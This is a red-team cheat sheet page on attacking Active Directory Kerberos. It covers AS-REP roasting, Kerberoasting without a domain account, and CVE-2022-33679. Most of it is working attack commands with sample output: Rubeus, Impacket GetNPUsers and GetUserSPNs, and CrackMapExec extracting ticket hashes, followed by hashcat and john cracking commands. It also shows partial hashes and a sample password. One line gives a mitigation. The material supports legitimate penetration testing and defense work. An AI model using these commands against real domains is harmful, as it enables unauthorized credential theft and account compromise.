4.9 KiB

Raw Blame History

Roasting - ASREP Roasting

If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting

Requirements:

Accounts with the attribute DONT_REQ_PREAUTH (PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose)

Rubeus

C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
[*] Action: AS-REP roasting
[*] Target User            : TestOU3user
[*] Target Domain          : testlab.local
[*] SamAccountName         : TestOU3user
[*] DistinguishedName      : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...

GetNPUsers from Impacket Suite

$ python GetNPUsers.py htb.local/svc-alfresco -no-pass
[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7a[...]e776b4

# extract hashes
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

CrackMapExec Module

$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt
LDAP        10.0.2.11       389    dc01           $krb5asrep$23$john.doe@LAB.LOCAL:5d1f750[...]2a6270d7$096fc87726c64e545acd4687faf780[...]13ea567d5

Using hashcat or john to crack the ticket.

# crack AS_REP messages with hashcat
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt 
root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\rockyou.txt

# crack AS_REP messages with john
C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast

Mitigations:

All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).

Kerberoasting w/o domain account

In September 2022 a vulnerability was discovered by Charlie Clark, ST (Service Tickets) can be obtained through KRB_AS_REQ request without having to control any Active Directory account. If a principal can authenticate without pre-authentication (like AS-REP Roasting attack), it is possible to use it to launch an KRB_AS_REQ request and trick the request to ask for a ST instead of a encrypted TGT, by modifying the sname attribute in the req-body part of the request.

The technique is fully explained in this article: Semperis blog post.

⚠️ You must provide a list of users because we don't have a valid account to query the LDAP using this technique.

impacket/GetUserSPNs.py from PR #1413

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/

GhostPack/Rubeus from PR #139

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"

CVE-2022-33679

CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the RC4-MD4 algorithm and then brute forcing the session key from the AS-REP using a known plaintext attack, Similar to AS-REP Roasting, it works against accounts that have pre-authentication disabled and the attack is unauthenticated meaning we don’t need a client’s password..

Research from Project Zero : https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html